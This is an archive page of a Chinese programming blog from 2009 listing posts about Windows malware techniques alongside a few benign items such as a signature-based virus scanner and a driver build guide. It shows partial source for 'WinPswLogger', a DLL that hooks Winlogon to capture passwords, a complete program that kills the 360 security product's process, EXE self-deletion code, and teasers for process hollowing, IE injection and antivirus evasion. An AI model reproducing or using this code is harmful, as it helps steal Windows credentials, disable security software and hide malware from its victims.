存档

文章标签 ‘VC’

WinPswLogger 源代码

2009年9月28日 没有评论 168 views

作者:LZX
部分源码如下,完整源码见文章末尾:

#include "stdafx.h"
#include
#include "debugoutput.h"
#include "hookWinlogon.h"

//CComModule _Module;
HMODULE g_hIns;

// BEGIN_OBJECT_MAP(ObjectMap)
// END_OBJECT_MAP()

/////////////////////////////////////////////////////////////////////////////
// DLL Entry Point

extern "C"
BOOL WINAPI DllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved)
{
if (dwReason == DLL_PROCESS_ATTACH)
{
g_hIns = (HMODULE)hInstance;

}
else if (dwReason == DLL_PROCESS_DETACH)
{
}

return TRUE; // ok
}
/*
/////////////////////////////////////////////////////////////////////////////
// Used to determine whether the DLL can be unloaded by OLE

STDAPI DllCanUnloadNow(void)
{
//MessageBox(0, _T("a"), _T("b"), 0);
return S_OK;
}

/////////////////////////////////////////////////////////////////////////////
// Returns a class factory to create an object of the requested type

STDAPI DllGetClassObject(REFCLSID rclsid, REFIID riid, LPVOID* ppv)
{

return E_NOINTERFACE;
}

/////////////////////////////////////////////////////////////////////////////
// DllRegisterServer - Adds entries to the system registry

STDAPI DllRegisterServer(void)
{
return S_OK;
}

/////////////////////////////////////////////////////////////////////////////
// DllUnregisterServer - Removes entries from the system registry

STDAPI DllUnregisterServer(void)
{
return S_OK;
}
*/
HRESULT WINAPI DllInstall( BOOL bInstall,
LPCWSTR pszCmdLine
)
{
CHookWinlogon *pIns = new CHookWinlogon;

if (!pIns->Create(pszCmdLine))
return E_UNEXPECTED;

return S_OK;
}

下载:

WinPswLogger_src.rar

分类: 资源共享 标签: ,

2个K掉360的代码

2009年9月19日 没有评论 453 views

在JKS上看到的,代码如下:

阅读全文...

分类: 技术文章 标签: ,

内存扫描及编辑

2009年9月8日 没有评论 152 views

内存扫描及编辑
详细代码如下:
阅读全文...

分类: 技术文章 标签:

利用多线程反Nod32启发式侦查

2009年8月31日 没有评论 172 views

利用多线程反Nod32启发式侦查

代码如下:

阅读全文...

分类: 技术文章 标签:

“fatal error LNK1104: cannot open file "mfc42u.lib"”问题解决

2009年8月20日 没有评论 358 views

默认的VC缺少对Unicode的支持,而这个代码恰恰就是按照Unicode发布,要使用Unicode编译。解决方案很简单,从VC的安装盘中拷贝文件“MFC42U.LIB”、“MFC42UD.LIB”、“MFCS42U.LIB”、“MFCS42UD.LIB”几个对Unicode支持的代码“VC的安装目录/VC98/MFC/Lib”下即可,不必要重装

分类: 技术文章 标签:

最简单的下载者过NOD32 卡巴等启发[VC Delphi两个版本]

2009年8月15日 没有评论 245 views

最简单的下载者过NOD32 卡巴等启发[VC Delphi两个版本]

阅读全文...

分类: 技术文章 标签: , ,

简单的病毒扫描引擎

2009年8月11日 没有评论 115 views

void FindVirusFirst(CMyDlg *pDlg,char *FileName,char *FilePath)
{
char AVPath[256];
CString TempName;
char buf[10]={0};
char Temp[512];
char troname[32],tzm[32];
int offaddr;

GetCurrentDirectory(MAX_PATH,AVPath);
strcat(AVPath,"\\av.db");

ifstream in(AVPath,ios::in);
for(int i=0;i<256;i++) { in>>Temp;
if(Temp==NULL||strlen(Temp)==0)
break;
DecryptData((unsigned char*)Temp,strlen(Temp),12);
TempName=Temp;

offaddr=atoi(TempName.Left(TempName.Find("|")));

TempName.Delete(0,TempName.Find("|")+1);

strcpy(tzm,TempName.Left(TempName.Find("|")));
TempName.Delete(0,TempName.Find("|")+1);

strcpy(troname,TempName);

HANDLE hfile = CreateFile(FilePath,GENERIC_READ,0,NULL,OPEN_ALWAYS,0,NULL);
SetFilePointer(hfile,offaddr,0,FILE_BEGIN);
DWORD readsize;
ReadFile(hfile,buf,10,&readsize,NULL);
if(Search(buf,tzm)>=0)
{
int n=pDlg->m_trojan.GetItemCount();
pDlg->m_trojan.InsertItem(n,troname);
pDlg->m_trojan.SetItemText(n,1,"病毒/木马");
pDlg->m_trojan.SetItemText(n,2,"删除");
pDlg->m_trojan.SetItemText(n,3,FilePath);
pDlg->m_trojan.SetItemText(n,4,FileName);
CloseHandle(hfile);
break;
}

Temp[0]='\0';
CloseHandle(hfile);
}
in.close();
}

void ScanFile(LPVOID sDlg,char *FilePath,bool IsDeepScan)
{
CMyDlg *pDlg=(CMyDlg *)sDlg;
CFileFind file;
BOOL bContinue = file.FindFile(FilePath);
if(IsDeepScan)
{
CFileFind file;
BOOL bContinue = file.FindFile(FilePath);
while(bContinue)
{
bContinue = file.FindNextFile();
if(file.IsDots())
continue;
if(file.IsDirectory())
{
wsprintf(FilePath,"%s\\*.*",file.GetFilePath());
ScanFile(sDlg,FilePath,1);//递归子目录查杀
continue;
}
else if (file.IsSystem() || file.IsHidden())
XFindVirusFirst(pDlg,file.GetFileName().GetBuffer(0),file.GetFilePath().GetBuffer(0),1);
else
XFindVirusFirst(pDlg,file.GetFileName().GetBuffer(0),file.GetFilePath().GetBuffer(0),0);

pDlg->SetLog(file.GetFilePath().GetBuffer(0));

}
}
else
{
while(bContinue)
{
bContinue = file.FindNextFile();
if(file.IsDots())
continue;
else if (file.IsDirectory())
{
wsprintf(FilePath,"%s\\*.*",file.GetFilePath());
ScanFile(sDlg,FilePath,0);//递归子目录查杀
continue;
}
else if(file.GetLength() < 1024 ) continue; FindVirusFirst(pDlg,file.GetFileName().GetBuffer(0),file.GetFilePath().GetBuffer(0)); pDlg->SetLog(file.GetFilePath().GetBuffer(0));
}
}
}

分类: 技术文章 标签:

EXE自删除代码

2009年8月10日 没有评论 227 views

找了一下程序自删除代码,真是众说纷纭啊,有远程线程注入的,批处理删除的,还有WINEXEC执行CMD删除的,都不是很好用,我在XP下面执行报错了,发现一个很好用的,放出来共享:

BOOL SelfDelete()
{
    TCHAR szFile[MAX_PATH], szCmd[MAX_PATH];
   
    if((GetModuleFileName(0,szFile,MAX_PATH)!=0) &&
    
     (GetShortPathName(szFile,szFile,MAX_PATH)!=0))
    
    {
    
     lstrcpy(szCmd,"/c del ");
    
     lstrcat(szCmd,szFile);
    
     lstrcat(szCmd," >> NUL");
    
    
    
     if((GetEnvironmentVariable("ComSpec",szFile,MAX_PATH)!=0) &&
     
      ((INT)ShellExecute(0,0,szFile,szCmd,0,SW_HIDE)>32))
     
      return TRUE;
    
    }
   
    return FALSE;
   
}

============================

加入到程序末尾调用就可以了,自己删除,润物细无声……

分类: 技术文章 标签:

从内存中加载并启动一个exe(C++版)

2009年8月7日 没有评论 428 views

原理:

1. 把你的程序读要内存

2. 以 CREATE_SUSPENDED模式CreateProcess打开svchost.exe

3. 修改svchost.exe页面的属性,然后把要运行的那个程序的内容拷贝到svchost.exe页面

4. 然后再运行 实质想当于是 披着/svchost.exe进程的相关信息/这张皮,而皮里面的肉都被改了

原文来自哪里忘记了,。呵呵

阅读全文...

分类: 技术文章 标签:

一个将自己代码插入IE进程的例子(VC代码)

2009年8月6日 没有评论 142 views

看着别人的程序想插那个进程就插那个,我也想试下,于是从网上找了几段代码,最容易理解的是下面的代码,不过原来的代码编译后在VC IDE下测试正常,但离开IDE就出错,经过测试和程序启动运行知道是因为编译后,IE尚未启动完成,程序本身已经退出是出错的原因,因些我改进了一下, 贴在下面:
编译须 ntdll.lib文件(可以从http://lengie.ik8.com/test/ntdll_lib_dl.htm下载,里有Win2K,XP 32B,XP 64B三个版本,对应拷到编译器的LIB文件夹里就可以了),可将下面代码保存为 .c 文件然后编译(保存为 .cpp 文件可能会出错)

阅读全文...

分类: 技术文章 标签:

Kill 360Safe 完整版(VC版)

2009年6月25日 没有评论 261 views

Kill 360Safe 完整版(VC版)
复制内容到剪贴板代码:

#include <windows.h>
#include <stdio.h>
#include <tlhelp32.h>

unsigned long getprocid(char *pn)
{
    BOOL b;
    HANDLE hnd;
    PROCESSENTRY32 pe;

    hnd=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);

    pe.dwSize=sizeof(pe);
    b=Process32First(hnd,&pe);
    while(b)
    {
        if(strcmp(pn,pe.szExeFile)==0)return pe.th32ProcessID;
        b=Process32Next(hnd,&pe);
    }

    return 0;
}

int main()
{
        HMODULE hNTDLL   =   GetModuleHandle("ntdll.dll");
        void (WINAPI *ZwDuplicateObject) (DWORD,HANDLE,DWORD,PHANDLE,unsigned long,unsigned long,unsigned long);
        (FARPROC&)ZwDuplicateObject= GetProcAddress(hNTDLL,"ZwDuplicateObject");

        DWORD pid=0;
        pid=getprocid("safeboxTray.exe");
        if(pid==0)
        {
                printf("找不到360保险箱的进程ID");
        }
        HANDLE ProcessHandle=OpenProcess(PROCESS_DUP_HANDLE,FALSE,pid);
        if(ProcessHandle != NULL)
        {
                ZwDuplicateObject(-1,ProcessHandle,-1,&ProcessHandle,2035711,0,1);
                TerminateProcess(ProcessHandle,0);
                printf("我走了,毒来吧\n");
                return 1;
        }
        printf("升级了\n");
        return 0;
}

分类: 技术文章 标签: ,

VC++编译驱动

2008年10月17日 没有评论 214 views

在Windows上,Windows   DDK提供的开发环境是基于命令行的,操作起来极为不便,相信进行过驱动程序开发的朋友一定对此深恶痛绝。另一方面,Visual   Studio   6.0却给我们提供了非常友好易用的集成环境,让我们有如虎添翼之感。  
    那么,能否利用Visual   Studio的集成环境来开发驱动程序呢?笔者经过多方探索,并结合自己开发驱动的经验,摸索出了一套实用的方法,通过对Visual   Studio集成环境的简单设置,创建了自己的驱动开发集成环境了。  下面笔者的一些经验奉献出来与大家共享,如有不当,欢迎指正。  
   
  0.系统要求已安装  
    DDK  
    Visual   C++6.0(安装时选上所有工具)  
   
  1.改造ddk\bin\setenv.bat  
    把要求mstools的有关语句注释掉(若想在命令行环境开发驱动则还需加入call   VC_DIR\VC98\Bin\Vcvars32. bat),以便能在命令行使用vc的相关工具;若只想在IDE环境开发就不必调用Vcvars32.bat,因为相关工具的路径信息可以在vc环境中设置.)  
   
  2.创建一个目录DriverEnv(目录名随意),作为你开发驱动的大本营  
   
  3.在该目录下创建一个批处理文件MakeDrvr.bat,内容如下:  
  @echo   off  
  if   "%1"==""   goto   usage  
  if   "%3"==""   goto   usage  
  if   not   exist   %1\bin\setenv.bat   goto   usage  
  call   %1\bin\setenv   %1   %4  
  %2  
   
  cd   %3  
  build   -b   -w   %5   %6   %7   %8   %9  
   
  goto   exit  
   
  :usage  
  echo   usage   MakeDrvr   DDK_dir   Driver_Drive   Driver_Dir   free/checked   [build_options]  
  echo   eg   MakeDrvr   %%DDKROOT%%   C:   %%WDMBOOK%%   free   -cef  
  :exit  
    该批处理首先对传递的参数作一些检查,然后调用ddk的setenv命令设置环境变量,然后改变目录为源程序所  
  在驱动器和目录,并最后调用build,-b保证显示完全的错误信息,-w保证在屏幕上输出警告,在vc   ide里的output窗口中可以看到这些错误和警告。  
   
  4.建立一个空白工程  
    选File的new菜单项,然后选project栏的makefile,然后输入路径,一路next下去即可,visual   studio提供两种配置win32   debug和win32   release.  
   
  5.修改这两种配置  
    选project的settings菜单项win32   debug:  
    在Build   Command   Line一栏填入MakeDrvr   DDK_DIR   SOURCE_DRIVE   SOURCE_DIR   checked   [build   options]  
    在Rebuild   all   options一栏填入   -nmake   /a  
    在output   file一栏填入与sources文件中的TARGETNAME相同的文件名  
    在Browse   info   file   name一栏填入obj\i386\checked\(与TARGETNAME相同的文件名,见下述).bsc  
   
    win32   release:  
    在Build   Command   Line一栏填入MakeDrvr   DDK_DIR   SOURCE_DRIVE   SOURCE_DIR   free   [build   options]  
    在Rebuild   all   options一栏填入   -nmake   /a  
    在output   file一栏填入与sources文件中的TARGETNAME相同的文件名  
    在Browse   info   file   name一栏填入obj\i386\free\(与TARGETNAME相同的文件名).bsc  
    注:DDK_DIR一般可以写成%BASEDIR%,build   options一般为-cef即已足够  
   
  6.添加源文件到工程  
    可以新建,也可以添加,这和普通的win32开发一样。  
   
  7.添加资源文件  
    选INSERT的RESOURCE菜单项即可  
   
  8.把文件makefile放入源程序目录,其内容总是  
  #  
  #   DO   NOT   EDIT   THIS   FILE!!!   Edit   .\sources.   if   you   want   to   add   a   new   source  
  #   file   to   this   component.   This   file   merely   indirects   to   the   real   make   file  
  #   that   is   shared   by   all   the   driver   components   of   the   Windows   NT   DDK  
  #  
   
  !INCLUDE   $(NTMAKEENV)\makefile.def  
   
  9.把文件Sources放入源程序目录,内容为  
    TARGETNAME=RamDrive//这是要生成的驱动程序.sys文件的名字  
    TARGETPATH=obj   //.sys文件所在目录的上层目录,(由于ddk的bug)应手工在obj目录下创建checked和free目录,以作为.sys的最终存放目录  
    TARGETTYPE=DRIVER   //驱动程序的类型,一般不变  
    INCLUDES=$(BASEDIR)\inc   //ddk包含文件路径,一般不变  
    SOURCES=RamDrive.cpp   RamDrive.rc   //源文件(不要头文件),资源文件  
    BROWSER_INFO   =   1   //若想要浏览信息,则要有本行;否则可无  
   
  10.因为MakeDrvr.bat在DriverEnv目录,所以应把该目录添加到vc的Executable   files里面  
    选tools的options菜单项,然后选directories页,在show   directories   for一栏选择Executable   files,然后添加即可.  
   
    至此,环境设置完毕,你可以按F7,   build你的驱动程序了。  
 

分类: 技术文章 标签: